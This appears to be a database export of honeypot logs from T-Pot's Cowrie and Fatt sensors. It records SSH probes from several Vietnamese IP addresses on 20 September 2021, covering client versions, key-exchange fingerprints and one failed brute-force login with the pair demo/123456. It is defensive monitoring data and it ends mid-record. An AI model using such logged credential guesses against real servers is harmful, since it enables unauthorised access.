23425	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:07:36.652915+03	2021-09-20 14:15:07.490471+03	{"_id": "GAbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 47164, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.652915", "@timestamp": "2021-09-20T11:07:36.652Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23431	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:36.466517+03	2021-09-20 14:15:07.49847+03	{"_id": "HgbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "83bf82c52ce8", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:36.466517Z", "@timestamp": "2021-09-20T11:07:36.466Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23426	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:36.869612+03	2021-09-20 14:15:07.49247+03	{"_id": "TQbjAnwBvYTbRNuE0g2D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "e0d94bd02c8e", "@version": "1", "timestamp": "2021-09-20T11:07:36.869612Z", "@timestamp": "2021-09-20T11:07:36.869Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23427	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:07:36.852839+03	2021-09-20 14:15:07.493469+03	{"_id": "GwbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 60716, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.852839", "@timestamp": "2021-09-20T11:07:36.852Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23428	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:37.152037+03	2021-09-20 14:15:07.49547+03	{"_id": "UAbjAnwBvYTbRNuE0g2D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "10000255190e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:37.152037Z", "@timestamp": "2021-09-20T11:07:37.152Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23429	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:07:36.865944+03	2021-09-20 14:15:07.496469+03	{"_id": "HAbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43484, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.865944", "@timestamp": "2021-09-20T11:07:36.865Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23430	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:36.395171+03	2021-09-20 14:15:07.49747+03	{"_id": "HQbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d4cecbe6cd54", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:36.395171Z", "@timestamp": "2021-09-20T11:07:36.395Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23433	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:36.965254+03	2021-09-20 14:15:07.502469+03	{"_id": "IAbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [demo/123456] failed", "session": "d0424c51a7b1", "@version": "1", "password": "123456", "username": "demo", "timestamp": "2021-09-20T11:07:36.965254Z", "@timestamp": "2021-09-20T11:07:36.965Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23434	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:37.08327+03	2021-09-20 14:15:07.503469+03	{"_id": "IQbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "901571932a87", "@version": "1", "timestamp": "2021-09-20T11:07:37.083270Z", "@timestamp": "2021-09-20T11:07:37.083Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", 